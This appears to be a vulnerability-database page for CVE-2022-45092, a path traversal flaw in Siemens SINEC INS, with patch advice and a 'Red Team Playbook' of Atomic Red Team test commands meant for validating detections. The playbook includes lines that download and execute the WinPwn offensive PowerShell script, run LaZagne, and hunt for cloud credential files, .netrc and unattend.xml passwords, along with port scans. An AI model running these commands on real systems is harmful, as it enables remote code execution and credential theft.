CVE-2022-45092
Overview
The vulnerability is a path traversal flaw (CWE-22) in the Siemens SINEC INS Web Based Management interface accessible via TCP port 443. It arises from insufficient validation of user-supplied file path inputs, allowing an authenticated user to bypass intended file access restrictions. This flaw affects all versions prior to V1.0 SP2 Update 1, specifically within the file system handling component of the web management service.
Vulnerability Description
A vulnerability has been identified in SINEC INS (All versions < V1.0 SP2 Update 1). An authenticated remote attacker with access to the Web Based Management (443/tcp) of the affected product, could potentially read and write arbitrary files from and to the device's file system. An attacker might leverage this to trigger remote code execution on the affected component.
Impact
An attacker with authenticated access to the web management interface can read and write arbitrary files, enabling data exfiltration or system manipulation. This can lead to remote code execution on the device, resulting in full compromise of the affected component. The attack requires network access to port 443 and valid user credentials (CVSS vector PR:L/UI:N), making it a critical risk for trusted users or compromised accounts. Consequences include unauthorized control, data breach, and disruption of industrial network operations.
Solution
Siemens has addressed this vulnerability in SINEC INS version 1.0 SP2 Update 1. Users should upgrade to this version or later as detailed in Siemens Security Advisory SSA-332410 (https://cert-portal.siemens.com/productcert/pdf/ssa-332410.pdf). The advisory provides patch instructions and recommends disabling or restricting access to the Web Based Management interface until the update is applied to mitigate exploitation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
A significant vulnerability has been identified in SINEC INS, a network management solution developed by Siemens. This flaw allows an authenticated remote attacker to exploit the Web Based Management interface, which operates over TCP port 443. The core issue lies in the inadequate access controls that permit unauthorized file operations on the device's file system. Specifically, an attacker can read and write arbitrary files, which poses a substantial risk of triggering remote code execution. The implications of this vulnerability are severe, as it undermines the integrity and confidentiality of the system, potentially leading to unauthorized access and manipulation of critical network management functions.
The attack vector primarily involves authenticated users who have access to the management interface. Once an attacker gains access, they can leverage this vulnerability to execute a series of actions that may include uploading malicious scripts or modifying existing files to introduce backdoors or other forms of malware. This exploitation could be executed through various means, such as phishing attacks that compromise legitimate user credentials or exploiting weak password policies. Once inside the system, the attacker can escalate privileges, further compromising the network management environment and potentially affecting connected devices and systems.
The real-world impact of this vulnerability is significant, particularly for organizations relying on SINEC INS for their network management. The ability to read and write arbitrary files can lead to data breaches, loss of sensitive information, and disruption of critical services. For businesses, this translates into financial losses, reputational damage, and potential regulatory penalties, especially in sectors that are heavily regulated. The risk is exacerbated in environments where the affected product is integrated with other critical infrastructure components, as successful exploitation could lead to cascading failures across interconnected systems.
To effectively detect and mitigate this vulnerability, organizations should implement a multi-layered security approach. First and foremost, it is crucial to ensure that all instances of SINEC INS are updated to the latest version, specifically version 1.0 SP2 Update 1 or later, which addresses this vulnerability. Regular security audits and vulnerability assessments should be conducted to identify any unauthorized access or anomalous activities within the management interface. Additionally, organizations should enforce strict access controls, ensuring that only authorized personnel have access to the management interface, and implement robust authentication mechanisms, such as multi-factor authentication, to reduce the risk of credential compromise.
In conclusion, the identified vulnerability in SINEC INS presents a serious threat to organizations utilizing this network management solution. The potential for remote code execution through unauthorized file access highlights the need for immediate action to secure affected systems. By adopting proactive security measures, including timely updates, rigorous access controls, and continuous monitoring, organizations can significantly mitigate the risks associated with this vulnerability and protect their critical infrastructure from potential exploitation.
Affected Products (4)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Siemens | Sinec Ins | All |
cpe:2.3:a:siemens:sinec_ins:*:*:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:-:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp1:*:*:*:*:*:*
|
|
|
Siemens | Sinec Ins | 1.0 |
cpe:2.3:a:siemens:sinec_ins:1.0:sp2:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-45092 |
| cert-portal.siemens.com |
GitHub CVE
|
https://cert-portal.siemens.com/productcert/pdf/ssa-332410.pdf |